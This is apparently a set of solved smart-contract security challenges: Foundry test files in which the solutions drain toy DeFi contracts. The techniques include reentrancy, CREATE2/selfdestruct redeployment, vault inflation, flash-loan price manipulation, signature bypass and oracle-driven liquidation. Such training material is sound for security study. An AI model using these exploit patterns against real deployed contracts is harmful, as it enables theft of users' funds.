contractChallenge1TestisTest{MagicETHpublicmETH;addresspublicexploiter=makeAddr("exploiter");addresspublicwhitehat=makeAddr("whitehat");functionsetUp()public{mETH=newMagicETH();mETH.deposit{value:1000ether}();// exploiter is in control of 1000 tokensmETH.transfer(exploiter,1000ether);}functiontestExploit()public{vm.startPrank(whitehat,whitehat);/*//////////////////////////////////////////////////// // Add your hack below! // // // // terminal command to run the specific test: // // forge test --match-contract Challenge1Test -vvvv // ////////////////////////////////////////////////////*/mETH.approve(exploiter,1000ether);mETH.burnFrom(exploiter,0);mETH.transferFrom(exploiter,whitehat,1000ether);mETH.withdraw(1000ether);//==================================================//vm.stopPrank();assertEq(whitehat.balance,1000ether,"whitehat should have 1000 ether");}}
functiondeposit()publicpayable{_mint(msg.sender,msg.value);}functionwithdrawAll()externalnonReentrant{(boolsuccess,)=msg.sender.call{value:balanceOf(msg.sender)}("");require(success,"mWETH: ETH transfer failed");_burnAll();}function_burnAll()internal{_burn(msg.sender,balanceOf(msg.sender));}
/*////////////////////////////////////////////////////////////// DEFINE ANY NECESSARY CONTRACTS HERE //// If you need a contract for your hack, define it below //////////////////////////////////////////////////////////////*/contractExecutor{ModernWETHmWETH;addressowner=msg.sender;constructor(address_mWETH){mWETH=ModernWETH(_mWETH);}functionexecute()external{mWETH.withdrawAll();}receive()externalpayable{mWETH.transfer(owner,mWETH.balanceOf(address(this)));payable(owner).transfer(address(this).balance);}}/*////////////////////////////////////////////////////////////// TEST CONTRACT //////////////////////////////////////////////////////////////*/contractChallenge2TestisTest{ModernWETHpublicmodernWETH;addresspublicwhitehat=makeAddr("whitehat");functionsetUp()public{modernWETH=newModernWETH();/// @dev contract has locked 1000 ether, deposited by a whale, you must rescue itaddresswhale=makeAddr("whale");vm.deal(whale,1000ether);vm.prank(whale);modernWETH.deposit{value:1000ether}();/// @dev you, the whitehat, start with 10 ethervm.deal(whitehat,10ether);}functiontestWhitehatRescue()public{vm.startPrank(whitehat,whitehat);/*//////////////////////////////////////////////////// // Add your hack below! // // // // terminal command to run the specific test: // // forge test --match-contract Challenge2Test -vvvv // ////////////////////////////////////////////////////*/Executorexecutor=newExecutor(address(modernWETH));uint256amount;while(address(modernWETH).balance>0){amount=address(modernWETH).balance<whitehat.balance?address(modernWETH).balance:whitehat.balance;modernWETH.deposit{value:amount}();modernWETH.transfer(address(executor),amount);executor.execute();modernWETH.withdrawAll();}//==================================================//vm.stopPrank();assertEq(address(modernWETH).balance,0,"ModernWETH balance should be 0");// @dev whitehat should have more than 1000 ether plus 10 ether from initial balance after the rescueassertEq(address(whitehat).balance,1010ether,"whitehat should end with 1010 ether");}}
You have to fill the shoes of the hacker and execute the exploit by stealing stablecoins from a lending pool.
Note
Foundry has a bug. If a selfdestruct() is triggered in a test script then it has to be done in the setUp() function and the rest of the code should be in a different function otherwise foundry test script does not see that selfdestruct happened to a contract.
contractLendingHackisOwnable{/*////////////////////////////// // Add your hack below! // //////////////////////////////*/stringpublicconstantname="LendingPool hack";/** * @dev Constructor that sets the owner of the contract * @param _usdc The address of the USDC contract to use * @param _owner The address of the owner of the contract */constructor(address_owner,address_usdc){USDCusdc=USDC(_usdc);usdc.transfer(_owner,usdc.balanceOf(address(this)));}//============================//}
contractChallenge3TestisTest{USDCpublicusdc;uint256publicusdcAmount=100000;LendExGovernorpubliclendExGovernor;CreateDeployerpubliccreateDeployer;Create2Deployerpubliccreate2Deployer;LendingPoolpubliclendingPool;LendingHackpubliclendingHack;addresspublichacker=makeAddr("hacker");addresspublicgovernanceOwner=makeAddr("governanceOwner");functionsetUp()public{/* set up actions */usdc=newUSDC(usdcAmount);usdc.transfer(governanceOwner,usdcAmount);/* sending transactions as hacker */// deploying the LendingPool contractvm.startPrank(hacker);create2Deployer=newCreate2Deployer();createDeployer=CreateDeployer(create2Deployer.deploy());lendingPool=LendingPool(createDeployer.deploy(true,address(usdc)));vm.stopPrank();/* sending transactions as the governance owner */// deploying the LendingPool contractvm.startPrank(governanceOwner);lendExGovernor=newLendExGovernor(address(usdc));lendExGovernor.addContract(address(lendingPool));usdc.transfer(address(lendExGovernor),usdcAmount);// funding the LendingPool contract with USDClendExGovernor.fundLendingPool(address(lendingPool),usdcAmount);vm.stopPrank();assertEq(lendExGovernor.getPoolName(address(lendingPool)),"LendingPool V1","lendingPool contract has the original name");vm.startPrank(hacker);/*////////////////////////////////////////////////////////////////////// // Add your hack below! // // Hack part #1 // // NOTE!!! Foundry has a bug // // anything selfdestruct() related has to be in the setUp() function // // // // terminal command to run the speciffic test: // // forge test --match-contract Challenge3Test -vvvv // //////////////////////////////////////////////////////////////////////*/lendingPool.emergencyStop();createDeployer.cleanUp();//====================================================================//vm.stopPrank();}functiontestExploit()public{vm.startPrank(hacker);/*////////////////////////////////////////////////////////////// // Add your hack below! // // Hack part #2 // // Please implement necessary changes also to LendingHack.sol // // terminal command to run the specific test: // // forge test --match-contract Challenge3Test -vvvv // //////////////////////////////////////////////////////////////*/createDeployer=CreateDeployer(create2Deployer.deploy());lendingHack=LendingHack(createDeployer.deploy(false,address(usdc)));//=============================================================//vm.stopPrank();assertEq(lendExGovernor.getPoolName(address(lendingPool)),"LendingPool hack","lendingPool contract address now gives a different name");assertEq(usdc.balanceOf(hacker),usdcAmount,"Hacker has to steal all the stablecoin tokens");}}
The only thing that we know is that he used to work with us in the past, that his birthday was in November and that he was a big fan of the CREATE2 opcode.
contractChallenge4TestisTest{VaultFactorypublicFACTORY;PosiCoinpublicPOSI;addresspublicunclaimedAddress=0x70E194050d9c9c949b3061CC7cF89dF9c6782b7F;addresspublicwhitehat=makeAddr("whitehat");addresspublicdevs=makeAddr("devs");functionsetUp()public{vm.label(unclaimedAddress,"Unclaimed Address");// Instantiate the FactoryFACTORY=newVaultFactory();// Instantiate the POSICoinPOSI=newPosiCoin();// OOPS transferred to the wrong address!POSI.transfer(unclaimedAddress,1000ether);}functiontestWhitehatRescue()public{vm.deal(whitehat,10ether);vm.startPrank(whitehat,whitehat);/*//////////////////////////////////////////////////// // Add your hack below! // // // // terminal command to run the specific test: // // forge test --match-contract Challenge4Test -vvvv // ////////////////////////////////////////////////////*/VaultWalletTemplatewallet=VaultWalletTemplate(payable(FACTORY.deploy(type(VaultWalletTemplate).creationCode,11)));wallet.initialize(whitehat);wallet.withdrawERC20(address(POSI),1000ether,devs);//==================================================//vm.stopPrank();assertEq(POSI.balanceOf(devs),1000ether,"devs' POSI balance should be 1000 POSI");}}
contractChallenge5TestisTest{BallonVaultpublicvault;WETHpublicweth=newWETH();addresspublicattacker=makeAddr("attacker");addresspublicbob=makeAddr("bob");addresspublicalice=makeAddr("alice");functionsetUp()public{vault=newBallonVault(address(weth));// Attacker starts with 10 ethervm.deal(address(attacker),10ether);// Set up Bob and Alice with 500 WETH eachweth.deposit{value:1000ether}();weth.transfer(bob,500ether);weth.transfer(alice,500ether);vm.prank(bob);weth.approve(address(vault),500ether);vm.prank(alice);weth.approve(address(vault),500ether);}function_inflation_attack(addressvictim)internal{vault.deposit(1,attacker);weth.transfer(address(vault),weth.balanceOf(attacker));uint256amount=weth.balanceOf(address(vault))-1;vault.depositWithPermit(victim,amount>weth.balanceOf(victim)?weth.balanceOf(victim):amount,0,0,bytes32(0),bytes32(0));vault.redeem(1,attacker,attacker);}functiontestExploit()public{vm.startPrank(attacker);/*//////////////////////////////////////////////////// // Add your hack below! // // // // terminal command to run the specific test: // // forge test --match-contract Challenge5Test -vvvv // ////////////////////////////////////////////////////*/weth.deposit{value:10ether}();weth.approve(address(vault),type(uint256).max);while(weth.balanceOf(alice)>0){_inflation_attack(alice);}_inflation_attack(bob);// the attacker now has enough weth to steal from Bob in a single step//==================================================//vm.stopPrank();assertGt(weth.balanceOf(address(attacker)),1000ether,"Attacker should have more than 1000 ether");}}
contractHackisIERC3156FlashBorrower{YieldPoolpool;SecureumTokentoken;addresspayableowner=payable(msg.sender);constructor(YieldPool_pool,SecureumToken_token)payable{pool=_pool;token=_token;}functionexploit()external{token.approve(address(pool),type(uint256).max);while(address(this).balance<100ether){if(address(this).balance>0){pool.flashLoan(IERC3156FlashBorrower(address(this)),pool.ETH(),address(this).balance*100,"");}else{pool.flashLoan(IERC3156FlashBorrower(address(this)),address(token),token.balanceOf(address(this))*100,"");}}}functionwithdraw()external{require(msg.sender==owner);pool.tokenToEth(token.balanceOf(address(this)));owner.transfer(address(this).balance);}functiononFlashLoan(address,address_token,uint256amount,uint256,bytescalldata)externalreturns(bytes32){require(msg.sender==address(pool));if(_token==address(token)){pool.tokenToEth(token.balanceOf(address(this)));}else{pool.ethToToken{value:address(this).balance}();}returnkeccak256("ERC3156FlashBorrower.onFlashLoan");}receive()externalpayable{}}/*////////////////////////////////////////////////////////////// TEST CONTRACT //////////////////////////////////////////////////////////////*/contractChallenge6TestisTest{SecureumTokenpublictoken;YieldPoolpublicyieldPool;addresspublicattacker=makeAddr("attacker");addresspublicowner=makeAddr("owner");functionsetUp()public{// setup pool with 10_000 ETH and ST tokensuint256start_liq=10_000ether;vm.deal(address(owner),start_liq);vm.prank(owner);token=newSecureumToken(start_liq);yieldPool=newYieldPool(token);vm.prank(owner);token.increaseAllowance(address(yieldPool),start_liq);vm.prank(owner);yieldPool.addLiquidity{value:start_liq}(start_liq);// attacker starts with 0.1 ethervm.deal(address(attacker),0.1ether);}functiontestExploitPool()public{vm.startPrank(attacker);/*//////////////////////////////////////////////////// // Add your hack below! // // // // terminal command to run the specific test: // // forge test --match-contract Challenge6Test -vvvv // ////////////////////////////////////////////////////*/Hackhack=newHack{value:0.1ether}(yieldPool,token);hack.exploit();hack.withdraw();//==================================================//vm.stopPrank();assertGt(address(attacker).balance,100ether,"hacker should have more than 100 ether");}}
functioninitialize(address_owner)publicinitializer{// EIP712 init: name DaoWallet, version 1.0__EIP712_init("DaoWallet","1.0");// postInit: set owner with gas optimizationsassembly{sstore(0,_owner)}}
contractChallenge7TestisTest{FactoryDaofactory;addresspublicwhitehat=makeAddr("whitehat");addresspublicdaoManager;uint256daoManagerKey;IDaoVaultvault;functionsetUp()public{(daoManager,daoManagerKey)=makeAddrAndKey("daoManager");factory=newFactoryDao();vm.prank(daoManager);vault=IDaoVault(factory.newWallet());// The vault has reached 100 ether in donationsdeal(address(vault),100ether);}functiontestHack()public{vm.startPrank(whitehat,whitehat);/*//////////////////////////////////////////////////// // Add your hack below! // // // // terminal command to run the specific test: // // forge test --match-contract Challenge7Test -vvvv // ////////////////////////////////////////////////////*/vault.execWithSignature(0,bytes32(0),bytes32(0),daoManager,100ether,"",block.timestamp+1);//==================================================//vm.stopPrank();assertEq(daoManager.balance,100ether,"The Dao manager's balance should be 100 ether");}}
functionhealthFactor(address_user)publicreturns(uint256){if(users[_user].borrow==0){// User has not borrowed any tokens, so health is theoretically infinitereturntype(uint256).max;}uint256collateralValue=users[_user].collateral*getPriceToken();uint256borrowValue=users[_user].borrow;uint256hf=collateralValue*CF/borrowValue;// Includes 2 decimalsreturnhf;}functiongetPriceToken()publicreturns(uint256){returnamm.getPriceToken0();}
contractChallenge8TestisTest{Oilerpublicoiler;AMMpublicamm;ERC20token;ERC20dai;addressplayer;addresssuperman;functionsetUp()public{/** * @notice Create ERC20 tokens */token=newERC20("Token","TKN");dai=newERC20("DAI token","DAI");vm.label(address(token),"TKN");vm.label(address(dai),"DAI");/** * @notice Deploy contant prodcut AMM with a TOKEN <> DAI pair */amm=newAMM(address(token),address(dai));vm.label(address(amm),"amm");/** * @notice Deploy Lending contract. Accepts 'TOKEN' as collateral and * mints a 'dTOKEN' underlying debt token. */oiler=newOiler(address(token),address(amm));vm.label(address(oiler),"oiler");/** * @notice Create 2 accounts and fund them. * - Player starts with 100 TOKEN and 100 DAI * - Superman starts with 200 TOKEN and 200 DAI, * Superman adds 100 of each to the pool. */player=makeAddr("player");superman=makeAddr("Super-man");deal(address(token),player,100);deal(address(dai),player,100);deal(address(token),superman,200);deal(address(dai),superman,200);/** * @notice Add liquidity to AMM pair. */vm.startPrank(superman);token.approve(address(amm),type(uint256).max);dai.approve(address(amm),type(uint256).max);amm.addLiquidity(100,100);vm.stopPrank();}functiontestSolution()public{// Victim set upvm.startPrank(superman);token.approve(address(oiler),100);oiler.deposit(100);oiler.maxBorrow(superman);// Always account for 2 Decimal placesoiler.borrow(75);oiler.healthFactor(superman);vm.stopPrank();// Player initial balance is of 100 $TOKEN and 100 $DAIconsole.log("Initial token balance: ",token.balanceOf(player));console.log("Initial dai balance: ",dai.balanceOf(player));vm.startPrank(player);/*//////////////////////////////////////////////////// // Add your attack logic below! // // // // terminal command to run the specific test: // // forge test --match-contract Challenge8Test -vvvv // ////////////////////////////////////////////////////*/token.approve(address(oiler),4);oiler.deposit(4);oiler.borrow(3);// for repaymenttoken.approve(address(amm),96);amm.swap(address(token),96);oiler.liquidate(superman);dai.approve(address(amm),dai.balanceOf(player));amm.swap(address(dai),dai.balanceOf(player));//==================================================//vm.stopPrank();// Conditions to pass:// - Player has liquidated the victim// - Player has more than 150 $TOKENs// - Extra: Player has more than 200 $TOKENsOiler.Usermemoryvictim=oiler.getUserData(superman);assertEq(victim.liquidated,true);assert(token.balanceOf(player)>200);}}